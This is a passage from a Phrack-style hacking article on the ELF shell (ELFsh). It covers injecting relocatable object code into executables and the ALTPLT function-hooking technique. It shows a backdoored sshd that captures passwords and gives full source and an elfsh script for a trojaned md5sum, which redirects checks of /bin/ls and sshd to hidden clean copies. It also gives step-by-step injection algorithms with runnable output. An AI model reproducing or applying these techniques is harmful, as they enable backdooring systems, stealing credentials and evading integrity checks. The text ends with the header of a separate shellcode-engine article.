08047135 mycrypt.o.text + 65 ret

‑‑‑‑‑END EXAMPLE 12‑‑‑‑‑

Lets test our new sshd:

$ ssh mayhem@localhost

Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <‑‑ type <ENTER> mayhem@localhost's password: <‑‑‑ type your passwd Connection closed by 127.0.0.1

$

Let's verify on the server side what happened:

$ ./sshd.new ‑d

debug1: Seeding random number generator

debug1: sshd version OpenSSH_3.0.2p1

debug1: private host key: #0 type 0 RSA1

debug1: read PEM private key done: type RSA

debug1: private host key: #1 type 1 RSA

debug1: read PEM private key done: type DSA

debug1: private host key: #2 type 2 DSA

debug1: Bind to port 22 on 0.0.0.0.

Server listening on 0.0.0.0 port 22.

debug1: Server will not fork when running in debugging mode. Connection from 127.0.0.1 port 40619

debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1 debug1: match: OpenSSH_3.5p1 pat ^OpenSSH

Enabling compatibility mode for protocol 2.0

debug1: Local version string SSH‑2.0‑OpenSSH_3.0.2p1

debug1: Rhosts Authentication disabled, originating port 40619 not trusted debug1: list_hostkey_types: ssh‑rsa,ssh‑dss

debug1: SSH2_MSG_KEXINIT sent

debug1: SSH2_MSG_KEXINIT received

debug1: kex: client‑>server aes128‑cbc hmac‑md5 none

debug1: kex: server‑>client aes128‑cbc hmac‑md5 none

debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received

debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent

debug1: dh_gen_key: priv key bits set: 127/256

debug1: bits set: 1597/3191

debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT

debug1: bits set: 1613/3191

debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent

debug1: kex_derive_keys

debug1: newkeys: mode 1

debug1: SSH2_MSG_NEWKEYS sent

debug1: waiting for SSH2_MSG_NEWKEYS

debug1: newkeys: mode 0

debug1: SSH2_MSG_NEWKEYS received

debug1: KEX done

debug1: userauth‑request for user mayhem service ssh‑connection method \ none

debug1: attempt 0 failures 0

Failed none for mayhem from 127.0.0.1 port 40619 ssh2

debug1: userauth‑request for user mayhem service ssh‑connection method \ publickey

debug1: attempt 1 failures 1

debug1: test whether pkalg/pkblob are acceptable

debug1: temporarily_use_uid: 1000/31337 (e=0)

debug1: trying public key file /home/mayhem/.ssh/authorized_keys debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1 debug1: restore_uid

Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2 debug1: userauth‑request for user mayhem service ssh‑connection method \ keyboard‑interactive

debug1: attempt 2 failures 1

debug1: keyboard‑interactive devs

debug1: auth2_challenge: user=mayhem devs=

debug1: kbdint_alloc: devices ''

Failed keyboard‑interactive for mayhem from 127.0.0.1 port 40619 ssh2 debug1: userauth‑request for user mayhem service ssh‑connection method \ password

debug1: attempt 3 failures 2

.:: crypt redirected ‑key‑ = mytestpasswd (42 .::. 2)

$

Fine. If you want extreme details on the implementation, please read the ELFsh code, particulary libelfsh/relinject.c. For the academic audience, the pseudo‑code algorithms are provided. Because ET_REL injection is based on BSS and Symbol table fusion, section pre‑interp injection, section post‑bss injection, SHT shifting, SHT entry insertion, symbol injection, and section data injection, all those algorithms are also available. The BSS physical insertion is performed only once, at the first use of post‑bss injection. The general algorithm for ET_REL injection is as follow:

1/ Fuse ET_REL and ET_EXEC .bss sections

2/ Find and inject ET_REL allocatable sections into ET_EXEC 3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols) 4/ Relocate each injected section if its .rel(a) table is available

Now let's give some details ;)

‑‑‑‑‑‑‑‑[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.

1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)

2/ FOREACH section in ET_REL object

[

IF section is a/ allocatable (sh_flags & SHF_ALLOC) b/ non‑null sized (sh_size != 0)

c/ data‑typed (sh_type == SHT_PROGBITS)

[

IF section is writable ‑or‑ OS is FreeBSD

[

‑ Inject post‑bss section into ET_EXEC

]

ELSE

[

‑ Inject pre‑interp section into ET_EXEC

]

]

]

3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)

4/ FOREACH section in ET_REL object

[

IF a/ section has been injected in 2. (same conditions) b/ section needs relocation (.rel.sctname is found in ET_REL) [

‑ Relocate the section

]

]

‑‑‑‑‑‑‑‑[ BSS fusion algorithm

‑ Insert ET_EXEC BSS physically if not already done (see next algo) FOREACH symbol from the ET_REL object

[

IF symbol points into the BSS (st_shndx & SHN_COMMON)

[

WHILE ET_EXEC .bss size is not aligned (sh_size % st_value) [

‑ Increment by 1 the .bss size field (sh_size) ]

‑ Insert symbol w/ st_value = .bss sh_addr + .bss sh_size ‑ Add symbol size to ET_EXEC .bss size (sh_size)

]

]

‑‑‑‑‑‑‑‑‑[ BSS physical insertion algorithm

FOREACH PHT entry

[

IF a/ segment is loadable (p_type == PT_LOAD)

b/ segment is writable (p_flags & PF_W)

[

‑ Put p_memsz value into p_filesz

‑ End of algorithm

]

]

‑‑‑‑‑‑‑‑[ Symbol Tables fusion algorithm

FOREACH symbol in ET_REL object

[

IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT) [

‑ Get parent section for this symbol using st_shndx field IF Parent section has been injected in 2. (same conditions) [

‑ Add section's base address to the symbol value

‑ Inject new symbol into ET_EXEC

]

]

]

‑‑‑‑‑‑‑‑[ Section pre‑interp injection algorithm

‑ Compute section size congruent with page size

‑ Create new section's header

‑ Inject section header (see SHT header insertion algorithm) FOREACH PHT entry

[

IF a/ segment type is loadable (p_type == PT_LOAD) b/ segment is executable (p_flags & PF_X)

[

‑ Add section's size to p_filesz and p_memsz

‑ Substract section's size from p_vaddr and p_paddr ]

ELSE IF segment type is PT_PHDR

[

‑ Substract section's size from p_vaddr and p_paddr ]

ELSE

[

‑ Add section's size to p_offset

]

]

‑ Shift SHT (see algorithm below)

‑‑‑‑‑‑‑‑‑[ Section post‑bss injection algorithm

‑ Create new section's header

‑ Inject section header (see SHT header insertion algorithm) FOREACH PHT entry

[

IF a/ segment is loadable (p_type == PT_LOAD)

b/ segment is writable (p_flags & PF_W)

[

‑ Add section's size to p_memsz and p_filesz

‑ End of algorithm

]

]

‑ Shift SHT by the section size (see next algorithm)

‑‑‑‑‑‑‑‑‑[ SHT shifting algorithm

FOREACH SHT entry

[

IF current linked section (sh_link) points after new section [

‑ Increment by 1 the sh_link field

]

IF current file offset > injected section file offset [

‑ Add injected section sh_size to current sh_offset ]

]

‑‑‑‑‑‑‑‑‑[ SHT header insertion algorithm

‑ Insert new section's name into .shstrtab

‑ Insert new entry in SHT at requested range

‑ Increment by 1 the e_shnum field in ELF header

FOREACH SHT entry

[

IF current entry file offset is after SHT file offset [

‑ Add e_shentsize from ELF header to current sh_offset ]

]

IF injected section header sh_offset <= SHT file offset

[

‑ Add new section size (sh_size) to e_shoff field in ELF header ]

IF requested new section range <= section string table index [

‑ Increment sh_strndx field in ELF header

]

‑‑‑‑‑‑‑‑‑[ Symbol injection algorithm

‑ Insert symbol name into .strtab section

‑ Insert symbol entry into .symtab section

‑‑‑‑‑‑‑‑‑[ Section data injection algorithm (apply to all type of section)

‑ Insert data into section

‑ Add injected data size to section's sh_size

IF SHT file offset > section file offset

[

‑ Add injected data size to e_shoff in ELF header

]

FOREACH SHT entry

[

IF current entry sh_offset field > extended section file offset [

IF current entry sh_addr field is non‑null

[

‑ Add injected data size to sh_addr

]

‑ Add injected data size to sh_offset

]

]

IF extended section sh_addr is non‑null

[

FOREACH symbol table entry

[

IF symbol points after extended section former upper bound [

‑ Add injected data size to st_value field

]

]

]

The relocation (step 4) algorithm wont be detailed, because it is already all explained in the ELF reference. In short, the relocation process consists in updating all the addresses references in the injected ET_REL code, using the available merged symbol tables in the ET_EXEC file. There are 12 relocation types on INTEL and 56 relocations types on SPARC, however, only 2 types are mostly used on INTEL, and only 3 on SPARC for ET_REL objects.

This last stage is a switch/case based algorithm, which has in charge to update some bytes, many times, in each injected mapped section. The relocation tables contains all the information necessary for this operation, their name is .rel.<target> (or .rela.<target> on SPARC), with <target> beeing the section which is going to be relocated using this table). Those sections can be easily found just parsing the SHT and looking for sections whoose st_type is SHT_REL (or SHT_RELA on SPARC).

What makes the ELFsh relocation engine powerful, is the using of both symbol table (.symtab and .dynsym), which means that the injected code can resolve symbols from the executable itself, e.g. it is possible to call the core functions of the executable, as well as existing .plt entries from the backdoor code, if their symbol value is available. For more details about the relocation step, please look at the ELFsh code in libelfsh/relinject.c, particulary at the elfsh_relocate_i386 and and elfsh_relocate_sparc.

As suggested in the previous paragraph, ELFsh has a limitation since it is not possible to call functions not already present in the binary. If we want to call such functions, we would have to add information for the dynamic linker, so that the function address can be resolved in runtime using the standard GOT/PLT mechanism. It would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash extensions, which is not trivial when we dont want to move the binary data and code zones from their original addresses.

Since relocation information is not available for ET_EXEC ELF objects, we woulnt be sure that our reconstructed relocation information would be 100% exact, without having a very strong and powerful dataflow analysis engine. This was proved by modremap (modules/modremap.c) written by spacewalkr, which is a SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder (vm/findrel.c), this module can remap a ET_EXEC binary in another place of the address space. This is known to work for /bin/ls and various /bin/* but bigger binaries like ssh/sshd cannot be relocated

using this technique, because valid pointers double words are not always real pointers in such bins (false positives happen in hash values).

For this reason, we dont want to move ET_EXEC section's from their original place. Instead, it is probably possible to add extra sections and use big offsets from the absolute addresses stored into .dynamic, but this feature is not yet provided. A careful choice of external functions hijacking is usually enough to get rid of the non‑present symbol problem, even if this 'extra‑function resolving' feature will probably be implemented in the future. For some sections like .hash, it may be necessary to do a copy of the original section after .bss and change the referenced address in the .dynamic section, so that we can extend the hash without moving any original code or data.

‑‑‑‑‑‑‑[ 4. Infection : ALTPLT technique

Now that we have a decent residency technique in ET_REL injection, let's focus on a new better infection technique than GOT redirection and PLT infection : the ALTPLT technique. This new technique takes advantage of the symbol based function address resolving of the previous technique, as detailed below.

ALTPLT is an improvement of PLT infection technique. Silvio Cesare describes how to modify the .plt section, in order to redirect function calls to library onto another code, so called the hook code. From [4], the algorithm of original .plt infection:

‑‑‑‑‑%<‑‑‑‑‑‑‑%<‑‑‑‑‑‑‑‑%<‑‑‑‑‑‑‑‑‑

'' The algorithm at the entry point code is as follows...

* mark the text segment writable

* save the PLT(GOT) entry

* replace the PLT(GOT) entry with the address of the new libcall

The algorithm in the new library call is as follows...

* do the payload of the new libcall

* restore the original PLT(GOT) entry

* call the libcall

* save the PLT(GOT) entry again (if it is changed) * replace the PLT(GOT) entry with the address of the new libcall ''

‑‑‑‑‑%<‑‑‑‑‑‑‑%<‑‑‑‑‑‑‑‑%<‑‑‑‑‑‑‑‑‑

The implementation of such an algorithm was presented in x86 assembly language using segment padding residency. This technique is not enough because:

1/ It is architecture dependant

2/ Strict segments rights may not be kept consistant (PaX unsafe) 3/ The general layout of the technique lacks a formal interface

The new ALTPLT technique consists of copying the Procedure Linkage Table (.plt) to an alternative section, called .orig.plt, using a pre‑interp injection, so that it resides in the read‑only code segment. For each entry of the .orig.plt, we create and inject a new reference symbol, which name the same as the .plt entry symbol at the same index, except that it starts by 'old_'.

Using this layout, we are able to perform standard PLT infection on the original .plt section, but instead of having a complex architecture dependant hook code, we use an injected function residing in hook.o.text, which is the text section of an ET_REL module that was injected using the technique described in the previous part of the paper.

This way, we can still call the original function using old_funcname(), since the injected symbol will be available for the relocation engine, as described in the ET_REL injection algorithm ;).

We keep the GOT/PLT mechanism intact and we rely on it to provide a normal function address resolution, like in every dynamic executable files. The .got section will now be unique for both .plt and .orig.plt sections. The added section .orig.plt is a strict copy of the original .plt, and will not ever be overwritten. In other words, .orig.plt is PaX safe. The only difference will be that original .plt entries may not use .got, but might be redirected on another routine using a direct branchement instruction.

Let's look at an example where the puts() function is hijacked, and the puts_troj() function is called instead.

On INTEL:

‑‑‑‑‑BEGIN EXAMPLE 13‑‑‑‑‑

old_puts + 0 jmp *<_GLOBAL_OFFSET_TABLE_ + 20> FF 25 00 97 04 08 old_puts + 6 push $10 68 10 00 00 00 old_puts + 11 jmp <old_dlresolve> E9 C0 FF FF FF

puts + 0 jmp <puts_troj> E9 47 ED FF FF puts + 5 or %ch,10(%eax) 08 68 10 puts + 8 add %al,(%eax) 00 00 puts + 10 add %ch,%cl 00 E9 puts + 12 sar $FF,%bh C0 FF FF puts + 15 (bad) %edi FF FF ‑‑‑‑‑END EXAMPLE 13‑‑‑‑‑

On SPARC:

‑‑‑‑‑BEGIN EXAMPLE 14‑‑‑‑‑

old_puts + 0 sethi %hi(0xf000), %g103 00 00 3c old_puts + 4 b,a e0f4 <func2+0x1e0c>30 bf ff f0 old_puts + 8 nop01 00 00 00

puts + 0jmp %g1 + 0xf4 ! <puts_troj>81 c0 60 f4

puts + 4nop01 00 00 00

puts + 8sethi %hi(0x12000), %g103 00 00 48

‑‑‑‑‑END EXAMPLE 14‑‑‑‑‑

This is the only architecture dependant operation in the ALTPLT algorithm. It means that this feature can be implemented very easily for other processors as well. However, on SPARC there is one more modification to do on the first entry of the .orig.plt section. Indeed, the SPARC architecture does not use a Global Offset Table (.got) for function address resolving, instead the .plt section is directly modified at dynamic linking time. Except for this difference, the SPARC .plt works just the same as INTEL .plt (both are using the first .plt entry each time, as explained in the ELF reference).

For this reason, we have to modify the first .orig.plt entry to make it point on the first .plt entry (which is patched in runtime before the main() function takes control). In order to patch it, we need to use a register other than %g1 (since this one is used by the dynamic linker to identify the .plt entry which has to be patched), for example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).

Patched first .orig.plt entry on SPARC:

‑‑‑‑‑BEGIN EXAMPLE 15‑‑‑‑‑

.orig.plt sethi %hi(0x20400), %g205 00 00 81

.orig.plt jmp %g2 + 0x2a8 ! <.plt>81 c0 a2 a8 .orig.plt nop01 00 00 00

‑‑‑‑‑END EXAMPLE 15‑‑‑‑‑

The reason for NOP instructions after the branching instruction (jmp) is because of SPARC delay slot. In short, SPARC branchement is done in such way that it changes the NPC register (New Program Counter) and not the PC register, and the instruction after a branching one is executed before the real branchement.

Let's use a new example which combines ET_REL injection and ALTPLT infection this time (instead of GOT redirection, like in the previous sshd example). We will modify md5sum so that access to /bin/ls and /usr/sbin/sshd is redirected. In that case, we need to hijack the fopen64() function used by md5sum, swap the real path with the backup path if necessary, and call the original fopen64 as if nothing had happened:

‑‑‑‑‑BEGIN EXAMPLE 16‑‑‑‑‑

$ cat md16.esh

#!/usr/bin/elfsh

load /usr/bin/md5sum

load test.o

# Add test.o into md5sum

reladd 1 2

# Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique redir fopen64 fopen64_troj

save md5sum.new

quit

$ chmod +x md16.esh

$

‑‑‑‑‑END EXAMPLE 16‑‑‑‑‑

Let's look at the injected code. Because the strcmp() libc function is not used by md5sum and therefore its symbol is not available in the binary, we have to copy it in the module source:

‑‑‑‑‑BEGIN EXAMPLE 17‑‑‑‑‑

$ cat test.c

#include <stdlib.h>

#define HIDDEN_DIR "/path/to/hidden/dir"

#define LS "/bin/ls"

#define SSHD "/usr/sbin/sshd"

#define LS_BAQ "ls.baq"

#define SSHD_BAQ "sshd.baq"

int mystrcmp(char *str1, char *str2)

{

u_int cnt;

for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)

if (str1[cnt] != str2[cnt])

return (str1[cnt] ‑ str2[cnt]);

return (str1[cnt] ‑ str2[cnt]);

}

int fopen64_troj(char *str1, char *str2)

{

if (!mystrcmp(str1, LS))

str1 = HIDDEN_DIR "/" LS_BAQ;

else if (!mystrcmp(str1, SSHD))

str1 = HIDDEN_DIR "/" SSHD_BAQ;

return (old_fopen64(str1, str2));

}

$ gcc test.c ‑c

$

‑‑‑‑‑END EXAMPLE 17‑‑‑‑‑

For this last example, the full relinking information will be printed on stdout, so that the reader can enjoy all the details of the implementation:

‑‑‑‑‑BEGIN EXAMPLE 18‑‑‑‑‑

$

Welcome to The ELF shell 0.5b9 .::.

.::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software

~load /usr/bin/md5sum

[*] New object /usr/bin/md5sum loaded on Sat Aug 2 16:16:32 2003

~exec cc test.c ‑c

[*] Command executed successfully

~load test.o

[*] New object test.o loaded on Sat Aug 2 16:16:32 2003

~reladd 1 2

[DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o] [DEBUG_RELADD] Inserted STT_SECT symbol test.o.text [080470F4] [DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata [080460F4] [DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt [080450F4] [DEBUG_RELADD] Injected symbol old_dlresolve [080450F4] [DEBUG_RELADD] Injected symbol old_ferror [08045104] [DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully [DEBUG_RELADD] Injected symbol old_strchr [08045114] [DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully [DEBUG_RELADD] Injected symbol old_feof [08045124] [DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully [DEBUG_RELADD] Injected symbol old___register_frame_info [08045134] [DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully [DEBUG_RELADD] Injected symbol old___getdelim [08045144] [DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully [DEBUG_RELADD] Injected symbol old_fprintf [08045154] [DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully [DEBUG_RELADD] Injected symbol old_fflush [08045164] [DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully [DEBUG_RELADD] Injected symbol old_dcgettext [08045174] [DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully [DEBUG_RELADD] Injected symbol old_setlocale [08045184] [DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully [DEBUG_RELADD] Injected symbol old___errno_location [08045194] [DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully [DEBUG_RELADD] Injected symbol old_puts [080451A4] [DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully [DEBUG_RELADD] Injected symbol old_malloc [080451B4] [DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully [DEBUG_RELADD] Injected symbol old_fread [080451C4] [DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully [DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4] [DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully [DEBUG_RELADD] Injected symbol old_bindtextdomain [080451E4] [DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully [DEBUG_RELADD] Injected symbol old_fputs [080451F4] [DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully [DEBUG_RELADD] Injected symbol old___libc_start_main [08045204] [DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully [DEBUG_RELADD] Injected symbol old_realloc [08045214] [DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully [DEBUG_RELADD] Injected symbol old_textdomain [08045224] [DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully [DEBUG_RELADD] Injected symbol old_printf [08045234] [DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully [DEBUG_RELADD] Injected symbol old_memcpy [08045244] [DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully [DEBUG_RELADD] Injected symbol old_fclose [08045254] [DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully [DEBUG_RELADD] Injected symbol old_getopt_long [08045264] [DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully [DEBUG_RELADD] Injected symbol old_fopen64 [08045274] [DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully [DEBUG_RELADD] Injected symbol old_exit [08045284] [DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully [DEBUG_RELADD] Injected symbol old_calloc [08045294] [DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully [DEBUG_RELADD] Injected symbol old__IO_putc [080452A4] [DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully [DEBUG_RELADD] Injected symbol old_free [080452B4] [DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully [DEBUG_RELADD] Injected symbol old_error [080452C4] [DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully [DEBUG_RELADD] Entering intermediate symbol injection loop [DEBUG_RELADD] Injected ET_REL symbol mystrcmp [080470F4] [DEBUG_RELADD] Injected symbol mystrcmp [080470F4] [DEBUG_RELADD] Injected ET_REL symbol fopen64_troj [08047188] [DEBUG_RELADD] Injected symbol fopen64_troj [08047188] [DEBUG_RELADD] Entering final relocation loop

[DEBUG_RELADD] Relocate using section test.o.rodata base [‑> 080460F4] [DEBUG_RELADD] Relocate using section test.o.text base [‑> 080470F4] [DEBUG_RELADD] Relocate using section test.o.rodata base [‑> 080460FC] [DEBUG_RELADD] Relocate using section test.o.rodata base [‑> 08046117] [DEBUG_RELADD] Relocate using section test.o.text base [‑> 080470F4] [DEBUG_RELADD] Relocate using section test.o.rodata base [‑> 08046126] [DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274] [*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum

~redir fopen64 fopen64_troj

[*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj>

~save md5sum.new

[*] Object md5sum.new save successfully

~quit

[*] Unloading object 1 (test.o)

[*] Unloading object 2 (/usr/bin/md5sum) *

Good bye ! .::. The ELF shell 0.5b9

$

‑‑‑‑‑END EXAMPLE 18‑‑‑‑‑

As shown in the script output, the new file has got new symbols (the old symbols). Let's observe them using the elfsh '‑sym' command and the regex capability ('old') :

‑‑‑‑‑BEGIN EXAMPLE 19‑‑‑‑‑

$ elfsh ‑q ‑f md5sum.new ‑sym old

[SYMBOL TABLE]

[Object md5sum.new]

[27] 0x80450f4 FUNC old_dlresolve sz:16 scop:Local [28] 0x8045104 FUNC old_ferror sz:16 scop:Local [29] 0x8045114 FUNC old_strchr sz:16 scop:Local [30] 0x8045124 FUNC old_feof sz:16 scop:Local [31] 0x8045134 FUNC old___register_frame_info sz:16 scop:Local [32] 0x8045144 FUNC old___getdelim sz:16 scop:Local [33] 0x8045154 FUNC old_fprintf sz:16 scop:Local [34] 0x8045164 FUNC old_fflush sz:16 scop:Local [35] 0x8045174 FUNC old_dcgettext sz:16 scop:Local [36] 0x8045184 FUNC old_setlocale sz:16 scop:Local [37] 0x8045194 FUNC old___errno_location sz:16 scop:Local [38] 0x80451a4 FUNC old_puts sz:16 scop:Local [39] 0x80451b4 FUNC old_malloc sz:16 scop:Local [40] 0x80451c4 FUNC old_fread sz:16 scop:Local [41] 0x80451d4 FUNC old___deregister_frame_info sz:16 scop:Local [42] 0x80451e4 FUNC old_bindtextdomain sz:16 scop:Local [43] 0x80451f4 FUNC old_fputs sz:16 scop:Local [44] 0x8045204 FUNC old___libc_start_main sz:16 scop:Local [45] 0x8045214 FUNC old_realloc sz:16 scop:Local [46] 0x8045224 FUNC old_textdomain sz:16 scop:Local [47] 0x8045234 FUNC old_printf sz:16 scop:Local [48] 0x8045244 FUNC old_memcpy sz:16 scop:Local [49] 0x8045254 FUNC old_fclose sz:16 scop:Local [50] 0x8045264 FUNC old_getopt_long sz:16 scop:Local [51] 0x8045274 FUNC old_fopen64 sz:16 scop:Local [52] 0x8045284 FUNC old_exit sz:16 scop:Local [53] 0x8045294 FUNC old_calloc sz:16 scop:Local [54] 0x80452a4 FUNC old__IO_putc sz:16 scop:Local [55] 0x80452b4 FUNC old_free sz:16 scop:Local [56] 0x80452c4 FUNC old_error sz:16 scop:Local $

‑‑‑‑‑END EXAMPLE 19‑‑‑‑‑

It sounds good ! Does it work now?

$ md5sum /bin/bash

ebe1f822a4d026c366c8b6294d828c87 /bin/bash

$ ./md5sum.new /bin/bash ebe1f822a4d026c366c8b6294d828c87 /bin/bash

$ md5sum /bin/ls

3b622e661f6f5c79376c73223ebd7f4d /bin/ls

$ ./md5sum.new /bin/ls

./md5sum.new: /bin/ls: No such file or directory

$ md5sum /usr/sbin/sshd 720784b7c1e5f3418710c7c5ebb0286c /usr/sbin/sshd

$ ./md5sum.new /usr/sbin/sshd

./md5sum.new: /usr/sbin/sshd: No such file or directory

$ ./md5sum.new ./md5sum.new b52b87802b7571c1ebbb10657cedb1f6 ./md5sum.new

$ ./md5sum.new /usr/bin/md5sum 8beca981a42308c680e9669166068176 /usr/bin/md5sum

$

Heheh. It work so well that even if you forget to put the original copy in your hidden directory, md5sum prints the original path and not your hidden directory path ;). This is because we only change a local pointer in the fopen64_troj() function, and the caller function is not aware of the modification, so the caller error message is proceeded with the original path.

Let's give the detailed algorithm for the ALTPLT technique. It must be used as a '2 bis' step in the main ET_REL injection algorithm given in the previous chapter, so that injected code can use any old_* symbols:

‑ Create new section header with same size, type, rights as .plt ‑ Insert new section header

IF current OS == FreeBSD

[

‑ Inject section using post‑bss technique.

]

ELSE

[

‑ Inject section using pre‑interp technique.

]

FOREACH .plt entry (while counter < sh_size)

[

IF counter == 0 AND current architecture is SPARC [

‑ Infect current entry using %g2 register.

]

‑ Inject new 'old_<name>' symbol pointing on current entry (= sh_addr + cnt)

‑ Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt ]

This algorithm is executed once and only once per ET_EXEC file. The 'redir' command actually performs the PLT infection on demand. A future (better) version of this command would allow core binary function hijacking. Since the code segment is read‑only in userland, we cant modify the first bytes of the function at runtime and perform some awful bytes restoration [13] [14] for calling back the original function. The best solution is probably to build full control flow graphs for the target architecture, and redirect all calls to a given block (e.g. the first block of the hijacked function), making all these calls point to the hook function, as suggested in [15] . ELFsh provides INTEL control flow graphs (see modflow/modgraph), so does objobf [16], but the feature is not yet available for other architectures, and some specific indirect branchement instructions are not easily predictable [17] using static analysis only, so it remains in the TODO.

‑‑‑‑‑‑‑[ 5. The end ?

This is the end, beautiful friend. This is the end, my only friend, the end... Of course, there is a lot of place for improvements and new features in this area. More target architectures are planed (pa‑risc, alpha, ppc?), as well as more ELF objects support (version tables, ELF64) and extension for the script langage with simple data and control flow support. The ELF development is made easy using the libelfsh API and the script engine. Users are invited to improve the framework and all comments are really welcomed.

‑‑‑‑‑‑‑[ 6. Greets

Greets go to #!dh and #dnerds peoples, you know who you are. Special thanks to duncan @ mygale and zorgon for beeing cool‑asses and giving precious feedback.

Other thanks, in random order : Silvio Cesare for his great work on the first generation ELF techniques (I definitely learnt a lot from you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq) who greatly helped to provide reliable and portable software, pipash for finding all the 76 char lenght lines of the article (your feedback r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful sparc/linux account, and Shaun Clowes for giving good hints.

Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great time I had with them during those days, you guyz rock.

‑‑‑‑‑‑‑[ 7. References

[1] The ELF shell projectThe ELF shell crew

MAIN : elfsh.devhell.org

MIRROR : elfsh.segfault.net

[2] PaX projectThe PaX team

pageexec.virtualave.net

[3] ELF TIS reference

x86.ddj.com/ftp/manuals/tools/elf.pdf www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)

[4] UNIX ELF parasites and virussilvio www.u‑e‑b‑i.com/silvio/elf‑pv.txt

[5] Shared library redirection by ELF PLT infectionsilvio phrack.org/phrack/56/p56‑0x07

[6] Understanding ELF rtld internalsmayhem devhell.org/~mayhem/papers/elf‑rtld.txt

[7] More ELF buggery (bugtraq post)thegrugq www.securityfocus.com/archive/1/274283/2002‑05‑21/2002‑05‑27/0

[8] Runtime process infectionanonymous phrack.org/phrack/59/p59‑0x08.txt

[9] Subversive ELF dynamic linkingthegrugq downloads.securityfocus.com/library/subversiveld.pdf

[10] Static kernel patchingjbtzhm phrack.org/phrack/60/p60‑0x08.txt

[11] Run‑time kernel patchingsilvio www.u‑e‑b‑i.com/silvio/runtime‑kernel‑kmem‑patching.txt

[12] Bypassing stackguard and stackshieldbulba/kil3r phrack.org/phrack/56/p56‑0x05

[13] Kernel function hijackingsilvio www.u‑e‑b‑i.com/silvio/kernel‑hijack.txt

[14] IA32 advanced function hookingmayhem phrack.org/phrack/58/p58‑0x08

[15] Unbodyguard (solaris kernel function hijacking)noir gsu.linux.org.tr/~noir/b.tar.gz

[16] The object code obfuscator tool of burneye2scut segfault.net/~scut/objobf/

[17] Secure Execution Via Program ShepherdingVladimir Kiriansky www.cag.lcs.mit.edu/dynamorio/security‑usenix.pdfDerek Bruening Saman Amarasinghe

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Polymorphic Shellcode Engine

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x09 of 0x0f

|=‑‑‑‑‑‑‑‑[Polymorphic Shellcode Engine Using Spectrum Analysis]‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑[ theo detristan theo@ringletwins.com ]‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑[ tyll ulenspiegel tyllulenspiegel@altern.org ]‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑[ yann_malcom yannmalcom@altern.org ]‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑[ mynheer superbus von underduk msvu@ringletwins.com ]‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 0 ‑ Contents

1 ‑ Abstract

2 ‑ Introduction

